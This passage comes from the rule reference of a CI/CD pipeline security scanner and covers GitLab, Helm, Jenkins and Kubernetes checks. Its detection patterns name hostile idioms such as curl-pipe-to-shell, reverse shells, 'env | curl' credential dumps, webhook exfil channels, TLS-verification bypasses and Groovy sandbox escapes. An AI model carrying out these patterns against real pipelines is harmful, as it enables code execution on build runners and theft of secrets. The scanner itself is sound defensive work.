GL-003: Variables contain literal secret values CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Scans variables: at the top level and on each job for entries whose KEY looks credential-shaped and whose VALUE is a literal string (not a $VAR reference). AWS access keys are detected by value pattern regardless of key name.

Recommendation. Store credentials as protected + masked CI/CD variables in project or group settings, and reference them by name from the YAML. For cloud access prefer short-lived OIDC tokens.

Source: GL-003 in the GitLab CI provider.

GL-005: include: pulls remote / project without pinned ref HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Cross-project and remote includes can be silently re-pointed. Branch-name refs (main/master/develop/head) are treated as unpinned; tag and SHA refs are considered safe.

Recommendation. Pin include: project: entries with ref: set to a tag or commit SHA. Avoid include: remote: for untrusted URLs; mirror the content into a trusted project and pin it.

Source: GL-005 in the GitLab CI provider.

GL-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Complements GL-003 (which looks at variables: block keys). GL-008 scans every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script: bodies or environment blocks where the name-based detector can't see them.

Recommendation. Rotate the exposed credential immediately. Move the value to a protected + masked CI/CD variable and reference it by name. For cloud access prefer short-lived OIDC tokens.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: GL-008 in the GitLab CI provider.

GL-009: Image pinned to version tag rather than sha256 digest LOW

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. GL-001 fails floating tags at HIGH; GL-009 is the stricter tier. Even immutable-looking version tags (python:3.12.1) can be repointed by registry operators. Digest pins are the only tamper-evident form.

Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and replace the tag with @sha256:<digest>. Automate refreshes with Renovate.

Source: GL-009 in the GitLab CI provider.

GL-010: Multi-project pipeline ingests upstream artifact unverified CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. needs: { project: ..., artifacts: true } pulls artifacts from another project's pipeline. If that upstream project accepts MR pipelines, the artifact may have been built by attacker-controlled code.

Recommendation. Add a verification step before consuming the artifact: cosign verify-attestation, sha256sum -c, or gpg --verify against a manifest signed by the upstream project's release key. Only consume artifacts produced by upstream pipelines whose origin you can trust.

Source: GL-010 in the GitLab CI provider.

GL-011: include: local file pulled in MR-triggered pipeline HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. include: local: '<path>' resolves from the current pipeline's checked-out tree. On an MR pipeline the tree is the MR source branch, the MR author controls the included YAML content.

Recommendation. Move the included template into a separate, read-only project and reference it via include: project: ... ref: <sha-or-tag>. That way the included content is fixed at MR creation time and not editable from the MR branch.

Source: GL-011 in the GitLab CI provider.

GL-012: Cache key derives from MR-controlled CI variable MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. GitLab caches restore by key prefix. When the key includes an MR-controlled variable, an attacker can poison a cache entry that a later default-branch pipeline restores.

Recommendation. Build the cache key from values the MR can't control: lockfile contents (files: [Cargo.lock]), the job name, and $CI_PROJECT_NAMESPACE. Never reference $CI_MERGE_REQUEST_* or $CI_COMMIT_BRANCH from a cache key namespace.

Source: GL-012 in the GitLab CI provider.

GL-013: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values in CI/CD variables can't be rotated on a fine-grained schedule. GitLab supports OIDC via id_tokens: for short-lived credential injection.

Recommendation. Use GitLab CI/CD OIDC with id_tokens: to obtain short-lived AWS credentials via sts:AssumeRoleWithWebIdentity. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from CI/CD variables.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-013 in the GitLab CI provider.

GL-014: Self-managed runner without ephemeral tag MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. Self-managed runners that don't tear down between jobs leak filesystem and process state. The check looks for an ephemeral tag on any job whose tags: list doesn't match SaaS-only runner names.

Recommendation. Register the runner with --executor docker + --docker-pull-policy always so containers are fresh per job, and add an ephemeral tag. Alternatively use the GitLab Runner Operator with autoscaling.

Source: GL-014 in the GitLab CI provider.

GL-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: GL-016 in the GitLab CI provider.

GL-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the CI runner, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-017 in the GitLab CI provider.

GL-018: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-018 in the GitLab CI provider.

GL-019: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: GL-019 in the GitLab CI provider.

GL-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-021 in the GitLab CI provider.

GL-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-023 in the GitLab CI provider.

GL-025: Pipeline contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Fires on concrete indicators (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, webhook.site callbacks, env | curl credential dumps, history -c audit erasure). Orthogonal to GL-003 (curl pipe) and GL-017 (Docker insecure flags). Those flag risky defaults; this flags evidence.

Recommendation. Treat as a potential compromise. Identify the MR that added the matching job(s), rotate any credentials the pipeline can reach, and audit recent runs for outbound traffic to the matched hosts. A legitimate red-team exercise should be time-bounded via .pipelinecheckignore with expires:.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: GL-025 in the GitLab CI provider.

GL-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. Once a CI variable feeds into one of these idioms, any ;, &&, |, backtick, or $() in the value executes, even if the variable's source is currently trusted, future refactors may expose it.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command must be dynamic, pass arguments as array members or validate the input against an allow-list at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: GL-026 in the GitLab CI provider.

GL-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Complements GL-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs all bypass the registry integrity controls the lockfile relies on, an attacker who can move a branch head, drop a sibling checkout, or change a served tarball can substitute code into the build.

Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: GL-027 in the GitLab CI provider.

GL-028: services: image not pinned HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. services: entries (top-level or per-job) can be either a string (redis:7) or a dict ({name: redis:7, alias: cache}). Both forms are normalized via image_ref-style extraction and evaluated with the same floating-tag regex GL-001 uses for image:.

Recommendation. Pin every services: entry the same way image: is pinned, prefer @sha256:<digest>, or at minimum a full immutable version tag (postgres:16.2-alpine). Avoid :latest and bare tags like :16.

Source: GL-028 in the GitLab CI provider.

GL-030: trigger: include: pulls child pipeline without pinned ref HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. GL-005 only audits top-level include:. Parent-child and multi-project pipelines that load YAML via the job-level trigger: include: slot slip through. Branch refs (main/master/develop/head) count as unpinned.

Recommendation. Pin trigger: include: project: entries with ref: set to a tag or commit SHA. Avoid trigger: include: remote: for untrusted URLs; mirror the content into a trusted project and pin it there.

Source: GL-030 in the GitLab CI provider.

HELM-001: Chart.yaml declares legacy apiVersion: v1 MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. apiVersion lives at the top of Chart.yaml. v1 is Helm 2's format and uses a sibling requirements.yaml for dependencies; v2 is Helm 3's format and inlines them in Chart.yaml alongside a Chart.lock for digest pinning. Without v2 there is no in-tree dependency manifest to lock, which is why HELM-002 only fires on v2 charts.

Recommendation. Bump Chart.yaml to apiVersion: v2 and migrate any sibling requirements.yaml entries into the dependencies: list inside Chart.yaml. Run helm dependency update to regenerate Chart.lock so HELM-002's per-dependency digest check has something to read. Helm 3 has been the default shipping channel since November 2019; the v1 format is kept for read-compat but blocks lockfile-based supply-chain controls.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: HELM-001 in the Helm provider.

HELM-002: Chart.lock missing per-dependency digests HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Three failure shapes:

  1. Chart.yaml declares dependencies but no Chart.lock exists at all.
  2. Chart.lock exists but its dependencies: list is missing entries declared in Chart.yaml (drift after an edit without re-running helm dependency update).
  3. Chart.lock lists every dependency but one or more entries lack a digest: field (lock generated by an old Helm 3 version that didn't always populate it).

v1 charts (HELM-001) are skipped. They predate Chart.lock and use requirements.lock against a sibling requirements.yaml. Fix HELM-001 first.

Recommendation. After every change to dependencies: in Chart.yaml, re-run helm dependency update and commit the regenerated Chart.lock. The lock records the resolved version and a sha256:... digest that helm dependency build verifies on download, without it, a compromised chart repo can swap the tarball under the same version and helm install will happily use the substitute.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Charts with no dependencies (the dependencies: key is absent or empty) pass automatically. There is nothing to lock.

Source: HELM-002 in the Helm provider.

HELM-003: Chart dependency declared on a non-HTTPS repository HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Walks Chart.yaml dependencies: (v2 charts only) and inspects each entry's repository: URL. Accepted schemes:

  • https://, chart-museum / OSS chart repos. The default for public Helm charts.
  • oci://, registry-hosted charts. TLS is enforced by the registry, not the URL scheme; we still accept this shape because Helm 3.8+ pulls OCI charts over HTTPS unless explicitly configured otherwise.
  • file://, in-repo dependency. No network surface.
  • @alias, local alias for a previously registered helm repo add URL. The scheme of the original URL is the user's responsibility (and is captured in the chart consumer's ~/.config/helm/repositories.yaml).

Recommendation. Switch each dependencies[].repository value to an https:// chart repo URL, an oci:// registry reference, or a file:// path for in-repo charts. Plaintext http:// (and other non-TLS schemes like git://) lets any on-path attacker substitute the dependency tarball during helm dependency build; Chart.lock's digest check (HELM-002) only catches that on the next update, not the compromised pull itself.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: HELM-003 in the Helm provider.

HELM-004: Chart dependency version is a range, not an exact pin MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. An exact pin is a string that contains only digits, dots, and at most a single leading v / trailing pre-release or build identifier (1.2.3, v1.2.3, 1.2.3-rc1, 1.2.3+build.5). Anything carrying ^ / ~ / > / < / * / x / X / || / a space (>=4 <5) is treated as a range. The bias is toward false positives, a chart maintainer can suppress per-rule via --ignore-file if they specifically want range semantics, but the default for production charts is a pin.

Recommendation. Replace each dependencies[].version constraint with the exact resolved version from Chart.lock. 17.0.0 instead of ^17.0.0, v1.2.3 instead of ~1.2. Range syntax (^, ~, >=, *, x) lets helm dependency update move every consumer of the chart to a newer dep on the next refresh, even when the lock file looked stable.

Source: HELM-004 in the Helm provider.

JF-001: Shared library not pinned to a tag or commit HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. @main, @master, @develop, no-@ref, and any non-semver / non-SHA ref are floating. Whoever controls the upstream library can ship code into your build by pushing to that branch.

Recommendation. Pin every @Library('name@<ref>') to a release tag (e.g. @v1.4.2) or a 40-char commit SHA. Configure the library in Jenkins with 'Allow default version to be overridden' disabled so a pipeline can't escape the pin.

Source: JF-001 in the Jenkins provider.

JF-002: Script step interpolates attacker-controllable env var HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. $BRANCH_NAME / $GIT_BRANCH / $TAG_NAME / $CHANGE_* are populated from SCM event metadata the attacker controls. Single-quoted Groovy strings don't interpolate so they're safe; only double-quoted / triple-double-quoted bodies are flagged.

Recommendation. Switch the affected sh/bat/powershell step to a single-quoted string (Groovy doesn't interpolate single quotes), and pass values through a quoted shell variable (sh 'echo "$BRANCH"' after withEnv([...])).

Source: JF-002 in the Jenkins provider.

JF-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Scans the raw Jenkinsfile text against the cross-provider credential-pattern catalog. Secrets committed to Groovy source are visible in every fork and every build log.

Recommendation. Rotate the exposed credential. Move the value to a Jenkins credential and reference it via withCredentials([string(credentialsId: '…', variable: '…')]).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: JF-008 in the Jenkins provider.

JF-009: Agent docker image not pinned to sha256 digest HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. agent { docker { image 'name:tag' } } is not digest-pinned, so a repointed registry tag silently swaps the executor under every subsequent build. Unlike the YAML providers, Jenkins has no separate tag-pinning check, so this one fires at HIGH regardless of whether the tag is floating or immutable.

Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and reference it via image '<repo>@sha256:<digest>'. Automate refreshes with Renovate.

Source: JF-009 in the Jenkins provider.

JF-010: Long-lived AWS keys exposed via environment {} block HIGH 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Flags environment { AWS_ACCESS_KEY_ID = '...' } when the value is a literal or plain variable reference. Skips credentials('id') helpers and ${env.X} that resolve at runtime. Matches both multiline and inline environment { ... } forms.

Recommendation. Replace the literal with a credentials-store reference: AWS_ACCESS_KEY_ID = credentials('aws-prod-key'). Better: switch to the AWS plugin's role binding (withAWS(role: 'arn:…')) so the build assumes a short-lived role per run.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-010 in the Jenkins provider.

JF-012: load step pulls Groovy from disk without integrity pin MEDIUM

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. load 'foo.groovy' evaluates whatever exists at the path when the build runs, there's no integrity check, so a workspace mutation can swap the loaded code between runs.

Recommendation. Move shared Groovy into a Jenkins shared library (@Library('name@<sha>')). Those are version-pinned and JF-001 audits them. Reserve load for one-off development experiments.

Source: JF-012 in the Jenkins provider.

JF-013: copyArtifacts ingests another job's output unverified CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. Recognises both copyArtifacts(projectName: ...) and the older step([$class: 'CopyArtifact', ...]) form. If the upstream job accepts multibranch or PR builds, the artifact may have been produced by attacker-controlled code.

Recommendation. Add a verification step before consuming the artifact: sh 'sha256sum -c manifest.sha256' against a manifest the producer signed, or cosign verify over the artifact directly. Restrict the upstream job to non-PR builds via branch protection if verification isn't feasible.

Source: JF-013 in the Jenkins provider.

JF-014: Agent label missing ephemeral marker MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. Static Jenkins agents that persist between builds leak workspace files and process state. The check looks for an ephemeral substring in agent { label '...' } blocks.

Recommendation. Register Jenkins agents with ephemeral lifecycle (e.g. Kubernetes pod templates or EC2 Fleet plugin) and include ephemeral in the label string so the pipeline declares its expectation.

Known false positives.

  • The check looks for the literal substring ephemeral in the agent label. Teams that use a different convention (temp, runner-pool, org-specific ARC labels) trip the rule even when their runners are auto-scaled and ephemeral in fact. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH.

Source: JF-014 in the Jenkins provider.

JF-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a Jenkinsfile. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: JF-016 in the Jenkins provider.

JF-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a Jenkinsfile give the container full access to the build agent, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-017 in the Jenkins provider.

JF-018: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a Jenkinsfile. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-018 in the Jenkins provider.

JF-019: Groovy sandbox escape pattern detected CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. Detects Groovy patterns that bypass the Jenkins script security sandbox: Runtime.getRuntime(), Class.forName(), .classLoader, ProcessBuilder, and @Grab. These give the pipeline (or an attacker who controls its source) unrestricted access to the Jenkins controller JVM, full RCE.

Recommendation. Remove direct Runtime/ClassLoader calls. Use Jenkins pipeline steps instead. Avoid @Grab for untrusted dependencies.

Source: JF-019 in the Jenkins provider.

JF-020: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck. Comments are stripped before matching.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: JF-020 in the Jenkins provider.

JF-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-021 in the Jenkins provider.

JF-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: JF-023 in the Jenkins provider.

JF-025: Kubernetes agent pod template runs privileged or mounts hostPath HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. JF-017 flags inline docker run commands. This rule targets the other privileged-mode entry point: Jenkins' Kubernetes plugin lets pipelines declare agent { kubernetes { yaml '''...''' } }. A pod running with privileged: true or mounting hostPath: / gives the build container the same blast radius, container escape, node-credential theft, cross-tenant contamination on a shared cluster.

Recommendation. Remove privileged: true from the embedded pod YAML, drop hostPath/hostNetwork/hostPID/hostIPC entries, and add a securityContext with runAsNonRoot: true and a readOnlyRootFilesystem. If Docker-in-Docker is genuinely required, use a rootless daemon (e.g. sysbox) or run the build on a dedicated privileged pool with stricter branch protection.

Source: JF-025 in the Jenkins provider.

JF-029: Jenkinsfile contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Distinct from JF-016 (curl pipe) and JF-019 (Groovy sandbox escape). Those flag risky defaults; this flags concrete evidence, reverse shells, base64-decoded execution, miner binaries, exfil channels, credential-dump pipes, shell-history erasure. Runs on the comment-stripped Groovy text so // cosign verify … // webhook.site in a legitimate annotation doesn't false-positive.

Recommendation. Treat as a potential compromise. Identify the commit that introduced the matching stage(s), rotate Jenkins credentials the job can reach, review controller/agent audit logs for outbound traffic to the matched hosts, and re-image the agent pool if the compromise may have persisted.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: JF-029 in the Jenkins provider.

JF-030: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Complements JF-002 (script injection from untrusted build parameters). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value feeding a dynamic command at the boundary, or pass arguments as a list to a real sh step so the shell is not re-invoked.

Known false positives.

  • sh 'eval "$(ssh-agent -s)"' and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: JF-030 in the Jenkins provider.

JF-031: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Complements JF-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Artifactory, Nexus) instead of installing from a filesystem path or tarball URL.

Source: JF-031 in the Jenkins provider.

K8S-001: Container image not pinned by sha256 digest HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Reuses _primitives.image_pinning.classify so the floating-tag semantics match DF-001 / GL-001 / JF-009 / ADO-009 / CC-003. Even a PINNED_TAG like nginx:1.25.4 is treated as unpinned, only an explicit @sha256: survives, since a tag is mutable on the registry side and Kubernetes will happily pull the new content on a node restart.

Recommendation. Resolve every workload container image to its current digest (crane digest <ref> or docker buildx imagetools inspect) and pin via image: repo@sha256:<digest>. Floating tags (:latest, :3, no tag) silently swap the running image on the next rollout, breaking provenance and reproducibility.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-001 in the Kubernetes provider.

K8S-002: Pod hostNetwork: true HIGH 🔧 fix

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Compromised containers on hostNetwork can sniff or interfere with traffic from every other pod on the node. Reserve the flag for system DaemonSets that genuinely require it (CNI agents, ingress data planes); applications never need it.

Recommendation. Set spec.hostNetwork: false (the default) on every workload. hostNetwork: true puts the pod directly on the node's network namespace, exposing every host-bound listener to the container and bypassing CNI network policies.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-002 in the Kubernetes provider.

K8S-003: Pod hostPID: true HIGH 🔧 fix

